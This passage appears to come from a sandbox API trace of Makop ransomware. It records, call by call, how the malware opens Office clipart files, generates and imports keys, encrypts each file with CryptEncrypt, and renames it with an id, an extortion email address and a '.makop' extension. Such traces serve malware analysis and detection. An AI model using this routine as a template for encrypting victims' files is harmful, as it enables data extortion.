nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1020, lpOverlapped=0x0) returned 1 [0145.014] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.014] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x10f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.014] SetEndOfFile (hFile=0xf0) returned 1 [0145.020] GetProcessHeap () returned 0x48a0000 [0145.021] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.021] GetProcessHeap () returned 0x48a0000 [0145.021] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.021] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.021] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.022] CloseHandle (hObject=0xf0) returned 1 [0145.023] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE05665_.WMF", cAlternateFileName="")) returned 1 [0145.023] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF") returned 63 [0145.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.024] GetProcessHeap () returned 0x48a0000 [0145.024] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.024] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.024] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.025] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.029] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.029] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.029] GetProcessHeap () returned 0x48a0000 [0145.029] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.029] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.030] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.030] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.031] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.031] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.031] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.031] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.031] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.031] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.032] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.032] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.032] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x37f8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x37f8, lpOverlapped=0x0) returned 1 [0145.033] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3800, dwBufLen=0x3800 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3800) returned 1 [0145.034] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.034] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3800, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3800, lpOverlapped=0x0) returned 1 [0145.034] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.034] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x38d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.034] SetEndOfFile (hFile=0xf0) returned 1 [0145.041] GetProcessHeap () returned 0x48a0000 [0145.041] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.041] GetProcessHeap () returned 0x48a0000 [0145.041] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.041] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.041] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.043] CloseHandle (hObject=0xf0) returned 1 [0145.043] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f24df00, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f24df00, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x167c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE05710_.WMF", cAlternateFileName="")) returned 1 [0145.043] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF") returned 63 [0145.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.044] GetProcessHeap () returned 0x48a0000 [0145.044] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.045] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.045] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.045] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.049] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.050] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.050] GetProcessHeap () returned 0x48a0000 [0145.050] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.050] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.050] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.050] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.050] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.050] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.050] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.051] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.051] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.051] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.051] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.051] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.051] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x167c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x167c, lpOverlapped=0x0) returned 1 [0145.053] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1680, dwBufLen=0x1680 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1680) returned 1 [0145.053] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.053] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1680, lpOverlapped=0x0) returned 1 [0145.053] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.053] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.053] SetEndOfFile (hFile=0xf0) returned 1 [0145.060] GetProcessHeap () returned 0x48a0000 [0145.060] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.060] GetProcessHeap () returned 0x48a0000 [0145.060] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.060] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.060] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.062] CloseHandle (hObject=0xf0) returned 1 [0145.063] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49073b00, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49073b00, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE05869_.WMF", cAlternateFileName="")) returned 1 [0145.063] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF") returned 63 [0145.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.066] GetProcessHeap () returned 0x48a0000 [0145.066] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.066] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.066] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.066] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.071] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.071] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.071] GetProcessHeap () returned 0x48a0000 [0145.071] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.071] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.071] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.071] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.071] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.072] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.072] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.072] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.072] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.072] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.072] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.072] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.073] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x608, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x608, lpOverlapped=0x0) returned 1 [0145.073] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x610, dwBufLen=0x610 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x610) returned 1 [0145.073] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.073] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x610, lpOverlapped=0x0) returned 1 [0145.073] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.073] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.073] SetEndOfFile (hFile=0xf0) returned 1 [0145.080] GetProcessHeap () returned 0x48a0000 [0145.080] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.080] GetProcessHeap () returned 0x48a0000 [0145.080] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.080] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.080] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.082] CloseHandle (hObject=0xf0) returned 1 [0145.082] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44428700, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44428700, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE05870_.WMF", cAlternateFileName="")) returned 1 [0145.082] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF") returned 63 [0145.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.084] GetProcessHeap () returned 0x48a0000 [0145.084] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.084] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.085] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.085] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0145.089] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.089] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.089] GetProcessHeap () returned 0x48a0000 [0145.089] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.089] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.089] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.089] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.089] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.090] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.090] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.090] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.090] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.090] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.090] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.091] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 